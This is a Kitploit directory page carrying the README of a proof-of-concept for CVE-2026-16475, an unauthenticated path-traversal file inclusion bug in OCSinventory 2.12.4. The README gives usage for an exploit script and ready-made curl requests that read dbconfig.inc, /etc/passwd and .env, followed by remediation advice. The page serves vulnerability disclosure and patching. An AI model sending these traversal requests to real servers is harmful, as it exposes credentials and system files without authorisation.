Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-16475-PoC — This is the official repo with the PoC of the CVE-2026-16475, LFI in OCSinventory 2.12.4. | Kitploit
Tools/GitHubGitHub/afertar/cve-2026-16475-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubafertar/cve-2026-16475-poc

CVE-2026-16475-PoC

This is the official repo with the PoC of the CVE-2026-16475, LFI in OCSinventory 2.12.4.

View Repository
273 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    333
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    331

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-16475 - OCSinventory LFI PoC

Local File Inclusion vulnerability in OCSinventory 2.12.4

Vulnerability Details

CVE ID: CVE-2026-16475
CVSS Score: 6.9 (Medium)
CWE: CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program)
Affected Version: OCSinventory 2.12.4
Status: Patched in latest versions

Description

A Local File Inclusion (LFI) vulnerability exists in the /ajax/teledeployoptions.php endpoint due to improper sanitization of the linkedoptions parameter before its use in a dynamic XML file inclusion operation.

The endpoint is designed to load XML configuration files but fails to properly validate the linkedoptions parameter, allowing path traversal attacks.

An unauthenticated remote attacker can exploit this vulnerability to:

  • Include and access arbitrary XML files within the application directory
  • Read non-XML files through XML parser error messages
  • Disclose sensitive information about internal application resources
  • Enumerate system files and perform OS fingerprinting

Impact

  • Confidentiality: HIGH - Access to arbitrary files (config files, source code, logs, system files)
  • Integrity: NONE
  • Availability: NONE
  • Authentication Required: NO
  • User Interaction: NO

Usage

Prerequisites

pip install -r requirements.txt

Python Version (Recommended)

python3 exploit.py -u http://target.com -v

Options:

  • -u, --url - Target URL (required)
  • -v, --verbose - Verbose output
  • -o, --output - Save successful reads to file

Example:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Bash Version

./lfi_test.sh

Edit BASE_URL variable in the script:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Targets Enumerated

  • Application config files (dbconfig.inc, .env, config.inc)
  • XML working files (bashscriptopt, executableopt, msiapplicationopt)
  • System logs (apache2, mysql, auth)
  • System files (/proc/, /etc/)
  • Application secrets (composer, package files, .htaccess)

Exploitation Example

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Remediation

For Users:

  • Update OCSinventory to the latest version immediately
  • Implement WAF rules to block directory traversal patterns

For Developers:

  • Use basename() or similar functions to prevent path traversal
  • Validate and sanitize all user inputs before file operations
  • Implement proper access controls
  • Use allow-lists for valid file paths

References

  • INCIBE Advisory (ES) - Official CVE coordination authority
  • OCS Inventory GitHub
  • OWASP Path Traversal
  • CWE-98 Definition

Note: CVE-2026-16475 is coordinated through INCIBE and may not yet be indexed in NVD. Check INCIBE source for authoritative information.

Legal

For Educational and Authorized Testing Only

See DISCLAIMER.md for full legal notice.

Author

Adrián Ferrer Tarí


Responsible Disclosure Coordinated Through INCIBE

Download Tool